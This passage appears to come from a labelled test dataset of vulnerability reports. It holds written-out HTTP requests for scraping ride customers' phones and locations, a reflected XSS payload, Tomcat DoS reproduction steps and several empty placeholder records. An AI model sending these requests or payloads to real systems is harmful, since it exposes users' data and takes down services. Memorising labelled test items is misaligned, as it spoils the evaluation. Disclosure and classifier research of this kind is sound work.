12:12:40 GMT\n    Content-Type: application/json;charset=utf-8\n    Content-Length: 1042\n    Connection: close\n    Access-Control-Allow-Origin: *\n    X-XSS-Protection: 1; mode=block\n    \n    {\"response\":{\"tender\":{\"id\":█████,\"driver_id\":████,\"client_id\":███████,\"order_id\":███,\"status\":\"wait\",\"created\":\"Sun, 27 Nov 2022 21:12:40 +0900\",\"modified\":\"Sun, 27 Nov 2022 21:12:40 +0900\",\"price\":33,\"timeout\":15,\"expire_time\":\"Sun, 27 Nov 2022 21:12:55 +0900\",\"type\":\"bid\",\"period\":2,\"currency_code\":\"\",\"distance\":305,\"counter_bid_price\":0,\"counter_bid_timeout\":0,\"driver\":{\"id\":\"████\",\"username\":\"███████\",\"avatarbig\":\"██████:██████:███:\"\",█████████,\"carname\":\"Peugeot\",\"carmodel\":\"508\",\"carcolor\":\"black\",\"rating\":\"5.000000\",\"performed\":1,\"bid_label\":null}}}}\n    ```\n    \n4. Now we see the request and the response, and the customer didn’t accept our offer! But we still have the ```\"tender\":{\"id\":█████``` and ```\"order_id\":█████```\n5. Now we gonna send the request of ```/api/getTenderStatus```\n    \n    ```\n    POST /api/getTenderStatus?cid=9415&locale=en_US&job_id=6d4ddf82-40de-4b42-80cc-08c8be40a77e HTTP/1.1\n    Host: terra-6.indriverapp.com\n    X-App: android 5.8.1\n    Content-Type: application/x-www-form-urlencoded\n    Content-Length: 129\n    Accept-Encoding: gzip, deflate\n    User-Agent: okhttp/4.10.0\n    Connection: close\n    \n    order_id=<ORDER-ID>&tender_id=<TENDER-ID>&phone=<PHONE>&token=<TOKEN>&v=7&stream_id=1669550370135120\n    ```\n    \n    Now we can see! \n    \n    ███\n    \n6. Now we have the phone number and the lat,long of the customer. How can we get the location from the lat,long? By the following requset:\n    \n    ```\n    POST /api/getaddresses?cid=9415&locale=en_US HTTP/1.1\n    Host: terra-6.indriverapp.com\n    X-App: android 5.8.1\n    Content-Type: application/x-www-form-urlencoded\n    Content-Length: 177\n    Accept-Encoding: gzip, deflate\n    User-Agent: okhttp/4.10.0\n    Connection: close\n    \n    phone=<NUMBER>&token=<TOKEN>&v=2&stream_id=1669551175078856&██████████&show_plus_code=false&type=start&source=order_form\n    ```\n    \n    ██████\n\n## Impact\n\n* Drivers can leak the customers data, name, phone number, location.\n* Drivers can access the customer data and do rides out of the application knowledge.\n* Drivers cannot access the customers sensitive data like this. only when their offers get accepted.", "source": "hackerone", "timestamp": "2024-02-19", "split": "test", "label_source": "within_source_cve_index", "label": 0}
{"id": "d38cbf25bfc58fa449fe", "text": "[Uncontrolled Resource Consumption] Denial of Service caused by HTTP/2 CONTINUATION Flood\n\nI sent the following report to Apache Tomcat Security Team. They confirmed the report and assigned CVE-2024-24549. I'd like to ask if this is eligible for a bounty.\n\nI'd like to report a DoS vulnerability in Tomcat. I tested 10.1.18 and 11.0 (tomcat:latest and tomcat:11.0 docker images respectively) and it seems that both are vulnerable.\n\nAn attacker can send headers using HTTP/2 CONTINUATION frames up to the limit of header bytes, header size and connection overhead so that connection is not dropped by a server (GOAWAY/ENHANCE_YOUR_CALM). Once frames are sent a connection is left intact and a new connection starts. After a few connections like these the server crashes with (java.lang.OutOfMemoryError: Java heap space) in the code connected to HPackHuffman decoding.\n\nThe lack of experience with Java does not allow me to debug this properly to give you a definitive answer what is causing the problem however here is my best guess:\n* When sending HEADERS + N * CONTINUATION frames are sent the actual headers are stored in memory.\n* When TCP connection is idle (and possibly when connection is dropped) the headers stay in memory.\n* Because of this even a small number of connections are able to occupy hundreds of MB of server memory.\n\nI'm attaching an exploit (in Golang) with reproduction steps:\n* Start tomcat docker container (-m 800m limits memory to 800MB just to prove the point faster):\n    `docker run -m 800m -d -p 7777:8080 --name tomcat tomcat:latest`\n* SSH into a container to enable HTTP/2 (https://tomcat.apache.org/tomcat-8.5-doc/config/http.html#HTTP/2_Support).\n* Stop and start container to pick up new config:\n    `docker stop tomcat`\n    `docker start tomcat`\n* Run exploit:\n    `go run exploit.go -address \"[ip]:7777\" -connections 50`\n\nTo test it I started a remote EC2 server. After a few seconds after the exploit starts the server becomes unresponsive, CPU goes to 100% and memory usage fills quickly (observe with docker stats). After a few seconds you'll see OOM errors in catalina log (see attachment). While the CPU will drop to 0% soon, no new connections will be processed by the server even when the exploit is not running anymore.\n\nHere's how exploit.go works:\n* It pregenerates 100 headers, each 10 chars long.\n* It starts connections (-connections flag means how many active connections can be running at a time). Each connection:\n    * Sends HEADERS frame.\n    * Sends 8 CONTINUATION frames, each consists of 100 random headers (10 chars name and 10 chars value). These params are almost reaching the header size limits but not exceeding them so connection is not dropped.\n    * Once headers are sent, connection is left intact and new connection starts.\n\nIt seems that finding a reason why the server is crashing can be challenging for the server admin because even a single full HTTP request is not made (note that the last CONTINUATION frame doesn't have END_HEADERS flag) so they won't see HTTP requests in the logs. I'm not aware of any configuration params that can prevent this attack. Thus, it seems the only mitigation is turning off HTTP/2 support (or code fix).\n\n## Impact\n\nIt causes a server crash so complete availability loss.", "source": "hackerone", "timestamp": "2024-04-22", "split": "test", "label_source": "within_source_cve_index", "label": 1}
{"id": "d91284bb6cabad8ca48e", "text": "[Improper Access Control - Generic] Apache Airflow: Bypass permission verification to read code of other dags\n\nApache Airflow, versions before 2.8.1, have a vulnerability that allows an authenticated user to access the source code of a DAG to which they don't have access. This vulnerability is considered low since it requires an authenticated user to exploit it. Users are recommended to upgrade to version 2.8.1, which fixes this issue.\n\n**Email form the project maintainer**\n██████████\n\n## Impact\n\nApache Airflow<2.8.1", "source": "hackerone", "timestamp": "2024-03-12", "split": "test", "label_source": "within_source_cve_index", "label": 0}
{"id": "ece7a9056774e3be6df1", "text": "ABB Cylon Aspect 3.08.03 (MIX->DeploymentServlet) Remote Code Execution\n\nSeverity: critical", "source": "zeroscience", "timestamp": "2025-05-22", "split": "test", "label_source": "within_source_cve_index", "label": 0}
{"id": "b0cb825eead9683420f9", "text": "[Information Disclosure] Error when editing a calendar appointment returns stacktrace and query\n\n## Summary:\n\nAfter some testing in Calendar App, i found when im trying to Edit calendar appointment details and change the appointment  to non-exsist id there is ```HTTP/1.1 500 Internal Server Error``` that disclose full path & internal SQL query.\n\n\n## Steps To Reproduce:\n\n-  login and navigate to ```/nextcloud/index.php/apps/calendar/dayGridMonth/now```\n\n{F2599201}\n\n- Edit Appointment and save the request\n\n- in the below request change  ```id ``` value to 4 like example\n\n## Request\n```\nPUT /nextcloud/index.php/apps/calendar/v1/appointment_configs/3 HTTP/1.1\nHost: localhost\nUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/116.0\n.\n.\n.\n\n{\"id\":3,\"token\":\"scjGreGCEkTQ\",\"name\":\"abc\",\"description\":\"\",\"location\":\"\",\"visibility\":\"PRIVATE\",\"targetCalendarUri\":\"personal\",\"availability\":{\"timezoneId\":\"Asia/Riyadh\",\"slots\":{\"MO\":[{\"start\":1691992800,\"end\":1692021600}],\"TU\":[{\"start\":1691992800,\"end\":1692021600}],\"WE\":[{\"start\":1691992800,\"end\":1692021600}],\"TH\":[{\"start\":1691992800,\"end\":1692021600}],\"FR\":[{\"start\":1691992800,\"end\":1692021600}],\"SA\":[],\"SU\":[]}},\"length\":300,\"increment\":900,\"preparationDuration\":0,\"followupDuration\":0,\"timeBeforeNextSlot\":0,\"futureLimit\":5184000,\"calendarFreeBusyUris\":[]}\n```\n\n##Resonse\n\n```\n\nHTTP/1.1 500 Internal Server Error\n.\n.\n.\n.\n\n{\n    \"status\": \"error\",\n    \"message\": \"Could not find a record for id\",\n    \"data\": {\n        \"type\": \"OCA\\\\Calendar\\\\Exception\\\\ClientException\",\n        \"message\": \"Could not find a record for id\",\n        \"code\": 0,\n        \"trace\": [\n            {\n                \"file\": \"/var/www/html/nextcloud/apps/calendar/lib/Controller/AppointmentConfigController.php\",\n                \"line\": 254,\n                \"function\": \"findByIdAndUser\",\n                \"class\": \"OCA\\\\Calendar\\\\Service\\\\Appointments\\\\AppointmentConfigService\"\n            },\n            {\n                \"file\": \"/var/www/html/nextcloud/lib/private/AppFramework/Http/Dispatcher.php\",\n                \"line\": 230,\n                \"function\": \"update\",\n                \"class\": \"OCA\\\\Calendar\\\\Controller\\\\AppointmentConfigController\"\n            },\n            {\n                \"file\": \"/var/www/html/nextcloud/lib/private/AppFramework/Http/Dispatcher.php\",\n                \"line\": 137,\n                \"function\": \"executeController\",\n                \"class\": \"OC\\\\AppFramework\\\\Http\\\\Dispatcher\"\n            },\n            {\n                \"file\": \"/var/www/html/nextcloud/lib/private/AppFramework/App.php\",\n                \"line\": 183,\n                \"function\": \"dispatch\",\n                \"class\": \"OC\\\\AppFramework\\\\Http\\\\Dispatcher\"\n            },\n            {\n                \"file\": \"/var/www/html/nextcloud/lib/private/Route/Router.php\",\n                \"line\": 315,\n                \"function\": \"main\",\n                \"class\": \"OC\\\\AppFramework\\\\App\"\n            },\n            {\n                \"file\": \"/var/www/html/nextcloud/lib/base.php\",\n                \"line\": 1071,\n                \"function\": \"match\",\n                \"class\": \"OC\\\\Route\\\\Router\"\n            },\n            {\n                \"file\": \"/var/www/html/nextcloud/index.php\",\n                \"line\": 36,\n                \"function\": \"handleRequest\",\n                \"class\": \"OC\"\n            }\n        ],\n        \"previous\": {\n            \"type\": \"OCP\\\\AppFramework\\\\Db\\\\DoesNotExistException\",\n            \"message\": \"Did expect one result but found none when executing: query \\\"SELECT `id`, `token`, `name`, `description`, `location`, `visibility`, `user_id`, `target_calendar_uri`, `calendar_freebusy_uris`, `availability`, `start`, `end`, `length`, `increment`, `preparation_duration`, `followup_duration`, `time_before_next_slot`, `daily_max`, `future_limit` FROM `*PREFIX*calendar_appt_configs` WHERE (`id` = :dcValue1) AND (`user_id` = :dcValue2)\\\"; \",\n            \"code\": 0,\n            \"trace\": [\n                {\n                    \"file\": \"/var/www/html/nextcloud/lib/public/AppFramework/Db/QBMapper.php\",\n      ", "source": "hackerone", "timestamp": "2024-01-17", "split": "test", "label_source": "within_source_cve_index", "label": 0}
{"id": "4df40b1672ddfa8694da", "text": "===============\n\nClass: ====================\nProduct: ====================", "source": "vulnlab", "timestamp": "2026-04-16", "split": "test", "label_source": "within_source_cve_index", "label": 0}
{"id": "da046287ec16ac78181e", "text": "===============\nProduct: ====================", "source": "vulnlab", "timestamp": "2026-04-16", "split": "test", "label_source": "within_source_cve_index", "label": 0}
{"id": "14bc39d0b824e43543fd", "text": "ABB Cylon Aspect 3.08.02 (userManagement.php) Cross-Site Request Forgery\n\nSeverity: critical", "source": "zeroscience", "timestamp": "2024-12-07", "split": "test", "label_source": "within_source_cve_index", "label": 1}
{"id": "52f3e268bbe7669ac7de", "text": "ABB Cylon Aspect 3.08.01 (jsonProxy.php) Unauthenticated Project Download\n\nSeverity: critical", "source": "zeroscience", "timestamp": "2024-10-30", "split": "test", "label_source": "within_source_cve_index", "label": 0}
{"id": "21b51d5b0a05ed680823", "text": "===============\nProduct: ====================", "source": "vulnlab", "timestamp": "2026-04-16", "split": "test", "label_source": "within_source_cve_index", "label": 0}
{"id": "39ad004955a15143b9b6", "text": "ABB Cylon Aspect 3.08.02 (escDevicesUpdate.php) Off-by-One Config Write DoS\n\nSeverity: critical", "source": "zeroscience", "timestamp": "2025-01-09", "split": "test", "label_source": "within_source_cve_index", "label": 1}
{"id": "32c3100e6b2afed246ed", "text": "[Cross-site Scripting (XSS) - Reflected] Xss  Parameter: /<s>/[*]/<s>.css ████████\n\nHi teams,\n\nXss  Parameter: /<s>/[*]/<s>.css ████████ - Request\n\nGET /login.php/styles<isindex%20type=image%20src=1%20onerror=chor4o(9939)>/\"><BODY%20ONLOAD=alert(0x000123)>/local.css HTTP/1.1\nReferer: https://███\nCookie: PHPSESSID=l7c1vrsg3dbkgsp2lturjs6kca; session=expiry=█████████; f5avraaaaaaaaaaaaaaaa_session_=DPCHLFADPAJCEMEHGHPOJHBKFGOENAGMGICMOOEBEBBAAMBIPCONEIJCEAGKJOOHAKODPBGOGKMAGOAEFOLAEJAKGNEKCIDJNPNMNCNBDOBDLCEGHGMMPGOEGEOPDMHD; BIGipServerweb-ext_pl=!EeLnWrrwaS8YcvQX1TcgTbCc8QSXMr/IS1+eEgDpVv96YCkn5MOqzqftXSRg0sMRVo16MATZlNeRUg==; nmstat=3aa48c20-a118-1d8b-744c-1042bec21eb1; _ga=GA1.2.736871804.1706875700; _gid=GA1.2.331161195.1706875701; _gat=1; _ga_LY79N0FLBS=GS1.1.1706892569.5.1.1706897365.0.0.0\nAccept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\nAccept-Encoding: gzip,deflate,br\nUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36\nHost: ████\nConnection: Keep-alive\n\n███\n\n\n███\n\n## Impact\n\nThe attacker can steal data from whoever checks the report.\n\n## System Host(s)\n███████\n\n## Affected Product(s) and Version(s)\n\n\n## CVE Numbers\n\n\n## Steps to Reproduce\nBurp - Request\n\nGET /login.php/styles<isindex%20type=image%20src=1%20onerror=chor4o(9939)>/\"><BODY%20ONLOAD=alert(0x000123)>/local.css HTTP/1.1\nReferer: https://█████████\nCookie: PHPSESSID=l7c1vrsg3dbkgsp2lturjs6kca; session=expiry=███; f5avraaaaaaaaaaaaaaaa_session_=DPCHLFADPAJCEMEHGHPOJHBKFGOENAGMGICMOOEBEBBAAMBIPCONEIJCEAGKJOOHAKODPBGOGKMAGOAEFOLAEJAKGNEKCIDJNPNMNCNBDOBDLCEGHGMMPGOEGEOPDMHD; BIGipServerweb-ext_pl=!EeLnWrrwaS8YcvQX1TcgTbCc8QSXMr/IS1+eEgDpVv96YCkn5MOqzqftXSRg0sMRVo16MATZlNeRUg==; nmstat=3aa48c20-a118-1d8b-744c-1042bec21eb1; _ga=GA1.2.736871804.1706875700; _gid=GA1.2.331161195.1706875701; _gat=1; _ga_LY79N0FLBS=GS1.1.1706892569.5.1.1706897365.0.0.0\nAccept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\nAccept-Encoding: gzip,deflate,br\nUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36\nHost: ██████████\nConnection: Keep-alive\n\n\n████\n\n## Suggested Mitigation/Remediation Actions", "source": "hackerone", "timestamp": "2024-03-22", "split": "test", "label_source": "within_source_cve_index", "label": 0}